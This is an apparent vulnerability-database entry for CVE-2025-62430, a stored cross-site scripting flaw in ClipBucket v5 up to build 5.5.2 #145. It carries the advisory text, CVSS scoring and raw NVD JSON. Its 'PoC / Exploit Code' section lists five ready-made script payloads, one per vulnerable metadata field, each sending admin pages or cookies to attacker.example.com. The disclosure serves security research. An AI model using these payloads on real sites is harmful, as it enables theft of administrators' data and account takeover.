Security Vulnerability Report
中文
CVE-2025-62430 CVSS 5.4 MEDIUM

CVE-2025-62430

Published: 2025-10-17 18:15:38
Last Modified: 2025-11-10 19:58:20

Description

ClipBucket v5 is an open source video sharing platform. ClipBucket v5 through build 5.5.2 #145 allows stored cross-site scripting (XSS) in multiple video and photo metadata fields. For videos the Tags field and the Genre, Actors, Producer, Executive Producer, and Director fields in Movieinfos accept user supplied values without adequate sanitization. For photos the Photo Title and Photo Tags fields accept user supplied values without adequate sanitization. A regular user who can edit a video or photo can inject script (for example by supplying a value such as a closing delimiter followed by a script element). The injected script executes when any user, including an unauthenticated visitor or an administrator, views the affected video or photo page. Although cookies are set with the HttpOnly attribute and cannot be read directly, the injected script can issue fetch requests to endpoints such as admin_area pages and exfiltrate their contents or trigger unintended actions. Version 5.5.2 build #146 and later contain a fix. Update to build 5.5.2 #146 or later. No known workarounds exist.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:oxygenz:clipbucket:*:*:*:*:*:*:*:* - VULNERABLE
ClipBucket v5 ≤ 5.5.2 #145

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62430 - ClipBucket v5 Stored XSS PoC Affected: ClipBucket v5 through build 5.5.2 #145 Fixed in: 5.5.2 build #146 --> <!-- Step 1: Login as a regular user with edit permissions --> <!-- Step 2: Edit a video or photo and inject payload into vulnerable fields --> <!-- Payload for Video Tags field --> <script>fetch('/admin_area/index.php').then(r=>r.text()).then(d=>fetch('https://attacker.example.com/exfil?d='+btoa(d)))</script> <!-- Payload for Movieinfos - Genre field --> "><img src=x onerror="fetch('/admin_area/edit_account.php?uid=1').then(r=>r.text()).then(d=>new Image().src='https://attacker.example.com/?'+btoa(d))"> <!-- Payload for Movieinfos - Actors field --> </div><script>var x=new XMLHttpRequest();x.open('GET','/admin_area/',true);x.onload=function(){new Image().src='https://attacker.example.com/?'+btoa(this.responseText)};x.send();</script> <!-- Payload for Photo Title field --> "><svg onload=fetch('https://attacker.example.com/?cookie='+document.cookie)> <!-- Payload for Photo Tags field --> <script>fetch('/admin_area/manage_users.php').then(r=>r.text()).then(t=>fetch('https://attacker.example.com/exfil',{method:'POST',body:t}))</script> <!-- Step 3: Wait for any user (including admin) to view the affected video/photo page --> <!-- Step 4: The injected script executes in the victim's browser context --> <!-- Step 5: Sensitive admin data is exfiltrated to attacker's server -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62430", "sourceIdentifier": "[email protected]", "published": "2025-10-17T18:15:38.020", "lastModified": "2025-11-10T19:58:19.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ClipBucket v5 is an open source video sharing platform. ClipBucket v5 through build 5.5.2 #145 allows stored cross-site scripting (XSS) in multiple video and photo metadata fields. For videos the Tags field and the Genre, Actors, Producer, Executive Producer, and Director fields in Movieinfos accept user supplied values without adequate sanitization. For photos the Photo Title and Photo Tags fields accept user supplied values without adequate sanitization. A regular user who can edit a video or photo can inject script (for example by supplying a value such as a closing delimiter followed by a script element). The injected script executes when any user, including an unauthenticated visitor or an administrator, views the affected video or photo page. Although cookies are set with the HttpOnly attribute and cannot be read directly, the injected script can issue fetch requests to endpoints such as admin_area pages and exfiltrate their contents or trigger unintended actions. Version 5.5.2 build #146 and later contain a fix. Update to build 5.5.2 #146 or later. No known workarounds exist."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oxygenz:clipbucket:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3", "versionEndExcluding": "5.5.2-146", "matchCriteriaId": "CDB24FFE-98B4-4756-A3F6-54E1652B5355"}]}]}], "references": [{"url": "https://github.com/MacWarrior/clipbucket-v5/commit/8e3cf79ce2721fbebde68a05a9a1a6319f086bcc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-qrqq-hpf3-9mc9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}